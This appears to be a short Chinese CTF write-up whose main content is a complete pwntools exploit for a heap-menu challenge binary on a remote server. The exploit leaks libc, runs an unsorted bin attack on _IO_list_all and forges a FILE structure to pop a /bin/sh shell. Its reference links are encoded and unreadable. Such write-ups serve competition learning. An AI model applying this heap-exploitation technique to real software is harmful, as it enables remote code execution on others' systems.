歉意

囧，对我来说太复杂了，东拼西凑居然搞出来了，大家还是看别人的解析吧，我就贴贴代码。

和 free 有关的

• double free (get_box 只能每种大小各用一次，free_box 只能 free 2, 3号，不能用这个)
• fastbin attack (每次申请的大小必须不一样，不能用这个)
• unsorted bin attack (只能用这个了)

各种参考资料

• 0b2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0G2j5X3q4G2i4K6u0W2x3K6j5H3i4K6u0W2j5$3&6Q4x3V1k6D9k6h3q4J5L8X3W2F1k6#2)9J5c8X3c8W2N6r3q4A6L8q4)9J5c8U0x3J5z5e0k6Q4x3X3g2Z5N6r3#2D9
• b61K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5i4m8W2M7W2)9J5k6i4y4W2k6h3u0#2k6#2)9J5k6h3!0J5k6#2)9J5c8U0t1#2y4g2)9J5c8R3`.`.
• b91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4F1j5X3I4G2k6%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6K6K9r3q4F1k6%4W2W2i4K6u0r3M7q4)9J5c8U0j5J5y4U0R3&6z5o6q4Q4x3X3g2Z5N6r3#2D9
• 73cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0G2j5X3q4G2i4K6u0W2x3K6j5H3i4K6u0W2j5$3&6Q4x3V1k6U0N6r3k6Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3V1j5I4y4K6S2Q4x3X3g2Z5N6r3#2D9

调试工具

• ca8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6H3N6$3&6V1j5X3N6Q4x3V1k6H3N6$3&6V1j5X3M7`.

from pwn import *

context.arch = 'amd64'
context.terminal = '/bin/sh'
#p = process('./club')
#p = gdb.debug("./club")
p = remote("123.206.22.95", 8888)

def get_box(idx, sz):
    p.recvuntil("> ")
    p.send("1")
    p.recvuntil("> ")
    p.send(str(idx))
    p.recvuntil("> ")
    p.send(str(sz))

def del_box(idx):
    p.recvuntil("> ")
    p.send("2")
    p.recvuntil("> ")
    p.send(str(idx))

def set_box(idx, msg):
    p.recvuntil("> ")
    p.send("3")
    p.recvuntil("> ")
    p.send(str(idx))
    assert "\n" not in msg
    p.send(msg + "\n")

def show_box(idx):
    p.recvuntil("> ")
    p.send("4")
    p.recvuntil("> ")
    p.send(str(idx))
    return p.recvline(keepends=False)

get_box(3, 1024)
get_box(4, 2048)
del_box(3)

main_arena_88 = u64(show_box(3).ljust(8, "\0"))
libc_base = main_arena_88 - 0x3C4B78
IO_list_all = libc_base + 0x3C5520
psystem = libc_base + 0x45390

get_box(2, 480)
get_box(1, 464)
del_box(2)

part2 = u64(show_box(2).ljust(8, "\0"))
pbuf = part2 - 960

payload = "/bin/sh\x00" + p64(96) + p64(part2) + p64(pbuf-16) + p64(0) + p64(1)
payload = payload.ljust(0xc0, "\0")
payload += p64(2**64-1)
payload = payload.ljust(0xd8,'\x00')
payload += p64(pbuf + 480 + 0xd8 + 8) + p64(0) + p64(0)
payload += p64(1) + p64(psystem)

payload = payload.ljust(480, "\0")

set_box(3, p64(pbuf+480) + p64(IO_list_all-0x10) + p64(0) + p64(0) + "A"*448 + \
    payload + \
    p64(0) + p64(64) + p64(main_arena_88) + p64(pbuf+480) + p64(0) + p64(0))

get_box(5, 4000)

p.interactive()

PS

阿里云开了10几块

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课